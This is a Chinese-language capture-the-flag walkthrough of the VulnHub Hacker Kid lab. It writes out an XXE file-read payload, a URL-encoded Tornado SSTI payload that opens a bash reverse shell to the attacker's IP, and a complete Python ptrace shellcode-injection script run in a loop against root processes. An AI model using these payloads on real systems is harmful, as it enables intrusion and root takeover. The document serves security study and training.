DNS区域传输漏洞

靶机下载地址:https: download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

打开靶机

image

打开kali作为攻击机

kali 的ip:192,。168.126.128

image

信息收集:

用nmap扫描找到靶机ip

nmap -sP 192.168.126.0/24

image

靶机ip: 192.168.126.132

nmap扫描靶机ip开放的端口:

nmap -T4 -A -sV 192.168.126.132

image

开放的端口有 53 ,80 , 9999

收集页面信息:

分别查看80和9999对应页面的内容
image

image

发现9999是一个登录的界面

右键查看80端口的源码发现提示:

image

需要传一个 GET 参数 page_no,才能看到其他页面内容。直接访问的时候在 URL 后面加 ?page_no=1、?page_no=2、?page_no=3

GET传参:

GET 传参就是你访问网页的时候,在网址后面加 ?参数名=值,把信息明文传给服务器,服务器根据你传的值返回不同内容。

这个参数的值太多用bp爆破

配置firefox代理:

image

先访问一下page_no=1发起请求,用bp拦截
image

拦下这个数据包后,右键点sent to intruder把这个数据包发到intruder这个模块开始爆破

image

配置好各项参数开始爆破:

image

爆破完成发现page_no=21这个响应明显更大一些,肯定有信息,去访问一下
image

image

find一个域名:

hackers.blackhat.local

用dig结合我们刚得到的域名继续挖掘信息(知道域名了,那就看看有没有对应的ip)

dig hackers.blackhat.local @192.168.126.132

image

查询得知了我们这次查的域名居然是不存在的,

但是blackhat.local这个DNS区是真实存在的,

它的权威服务器就是我们的靶机,我们尝试用axfr去拉取整个blackhat.localDNS区域的全部记录

image

发现一个新的域名: hackerkid.blackhat.local.

dig这个域名发现没用,就写 hosts 把域名→IP 固化(让系统能发 HTTP 请求),直接用浏览器去访问域名,看看能得到啥不

将域名以及ip添加到/etc/hosts中

image

xxe漏洞:

保存到/etc/hosts中

image

访问hackerkid.blackhat.local发现一个登录界面

image

使用bp抓一下数据包

(bp如果抓不到包的话,ctrl+shift+R强制刷新一下就可以)

随便输入点信息,打开bp代理,提交

image

分析抓到的数据包,发现是xml格式的数据包,这时看看有没有xxe漏洞,这里可以测试下有没有回显位,根据我们刚刚提交的信息得到的回应最有可能回显位就是email处,这里验证一下:
image

测处email处就是回显位

既然真的存在xxe漏洞,那我们就利用它去读取一下我们本地敏感文件,构造payload

image

image

用payload读取了靶机的所有用户,发现了root用户,还有一个用户saket也有登录bash的权限,可以加以利用,查看它的.bashrc文件看看里面是否有能利用的信息

.bashrc一般在用户的家目录下/home/saket/.bashrc

用file协议没出来,尝试php协议

php: filter/convert.base64-encode/resource=/home/saket/.bashrc

image

成功带出.bashrc文件,用cyberchef来base64解码得到用户和密码

用户: admin

密码:Saket!#$%@!!

image

想到上面用的9999端口拿到的登录界面,拿去登录一下

但是经过尝试,用户名为saket时才能登上

image

页面提示,让我们告诉它名字,那就想到get传参

image

SSTI模板注入

结合前面 nmap 扫描扫出来的信息知道这是一个基于tornado框架的web服务器,并且前面已经测试过了

有get传参,敏感一点,看看是否有ssti模板注入漏洞

image

测试一下

image

执行了,确认存在ssti模板注入漏洞,这样我们可以利用ssti来进行反弹shell

反弹shell

构造payload

image

导入 os 模块执行命令(反弹shell的命令)

http://192.168.126.132:9999/?name={% import os %}{{os.system("bash -c 'bash -i >& /dev/tcp/192.168.126.128/9999 0>&1'")}}

因为payload里面有很多特殊字符是需要实实在在的起作用的,所以我们先提起进行一次url编码(不编码会被浏览器拦截)

image

http://192.168.126.132:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%22bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.126.128%2F9999%200%3E%261%27%22%29%7D%7D

在线找的

image

payload的位置

image

在kali上监听9999端口

nc -lvp 9999

image

image

image

补充一下问题:

就是我一直提权不成功的问题

image

Capabilitie提权

image

使用如下命令发现具有Capabilities特殊操作权限的程序

/usr/sbin/getcap -r / 2>/dev/null -r 递归查询

image

通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。:

cap_sys_ptrace+ep

image

用到一个提权脚本:

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.

# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>

# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>

# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
    libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
    
    # Convert the byte to little endian.
    shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
    shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
    shellcode_byte=int(shellcode_byte_little_endian,16)
    
    # Inject the byte.
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
    
    print("Shellcode Injected!!")
    
    # Modify the instuction pointer
    registers.rip=registers.rip+2
    
    # Set the registers
    libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
    
    print("Final Instruction Pointer: " + hex(registers.rip))
    
    # Detach from the process.
    libc.ptrace(PTRACE_DETACH, pid, None, None)

这个提权脚本的作用:

这是 Linux ptrace 进程注入脚本(x64),对应 Hackerkid 靶场的提权 EXP,利用带 cap_sys_ptrace+ep 的 python2.7,附加到一个进程、往它内存里写入 shellcode、修改指令指针 rip,让别的进程帮我们执行 shellcode 拿 root 权限

kali上编辑上面的代码,并起名为exp.py,打开http服务,并利用靶机进行下载

靶机:wget http://192.168.126.128/exp.py

image

因需要root进程进行注入,编写脚本对root进程批量尝试

for i in ps -ef|grep root|grep -v "grep"|awk '{print $2}'; do python2.7 exp.py $i; done

image

别忘了保证网络可行,还有exp.py加上可执行权限(这个一开始一直不成功,最后发现是我的网络的问题)

攻击机nc连这个端⼝:

ubutun查看端口的命令:

netstat -pantu | grep 5600

image

攻击机nc连这个端⼝:

nc -nv 192.168.128.132 5600

成功提权

image

image

root⽆法直接登录,改saket密码可以登录saket⽤⼾ 。

登⼊服务器界⾯,可以使⽤su转到root⽤⼾,说明root的密码已经被修改。